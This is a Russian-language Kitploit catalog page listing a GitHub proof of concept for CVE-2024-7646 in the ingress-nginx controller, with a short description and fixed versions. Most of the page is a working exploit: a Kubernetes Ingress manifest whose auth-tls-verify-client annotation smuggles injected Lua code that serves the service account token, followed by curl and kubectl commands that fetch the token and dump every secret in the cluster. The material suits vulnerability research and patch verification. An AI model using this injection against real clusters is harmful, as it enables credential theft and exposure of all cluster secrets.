Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
cve-2024-7646 — PoC CVE-2024-7646 | Kitploit
Инструменты/GitHubGitHub/dovics/cve-2024-7646
Безопасность контейнеровАнализ уязвимостейЭксплуатацияВеб-безопасностьБезопасность облачных средНеправильная Конфигурация
GitHubdovics/cve-2024-7646

cve-2024-7646

PoC CVE-2024-7646

Репозиторий
192 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2024-7646

Описание

По умолчанию nginx.ingress.kubernetes.io/server-snippet отключен, но из-за этой CVE nginx.ingress.kubernetes.io/auth-tls-verify-client всё ещё может вставлять пользовательские фрагменты или даже lua-код.

Исправленная версия

контроллер ingress-nginx v1.11.2 — исправлено kubernetes/ingress-nginx#11719 и kubernetes/ingress-nginx#11721 контроллер ingress-nginx v1.10.4 — исправлено kubernetes/ingress-nginx#11718 и kubernetes/ingress-nginx#11722

PoC

Требуется разрешение на создание ingress

openssl genrsa -out ca.key 2048
openssl req -new -x509 -key ca.key -out ca.crt -days 365 -subj "/CN=ca"
kubectl create secret generic ca-secret --from-file=ca.crt=ca.crt
kubectl apply -f - <<EOF
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: cve-ingress
  namespace: default
  annotations:
    nginx.ingress.kubernetes.io/auth-tls-secret: default/ca-secret
    nginx.ingress.kubernetes.io/auth-tls-verify-client: "off;\r\nlocation /token{\r\ncontent_by_lua_block{\r\nfile = io.open('/var/run/secrets/kubernetes.io/serviceaccount/token','r')\r\nngx.say(file:read('*a'))\r\nngx.exit(ngx.HTTP_OK)\r\n}\r\n}\r\nset \$test true"
spec:
  rules:
    - host: test.ingress.io
      http:
        paths:
          - pathType: Prefix
            path: /test
            backend:
              service:
                name: test-service
                port:
                  number: 8080
EOF

В конфигурации по умолчанию эти учётные данные имеют доступ ко всем секретам в кластере.

TOKEN=$(curl 127.0.0.1:8080/token  -H "Host: test.ingress.io")
kubectl --token=$TOKEN get secret -A -o yaml
Скачать инструмент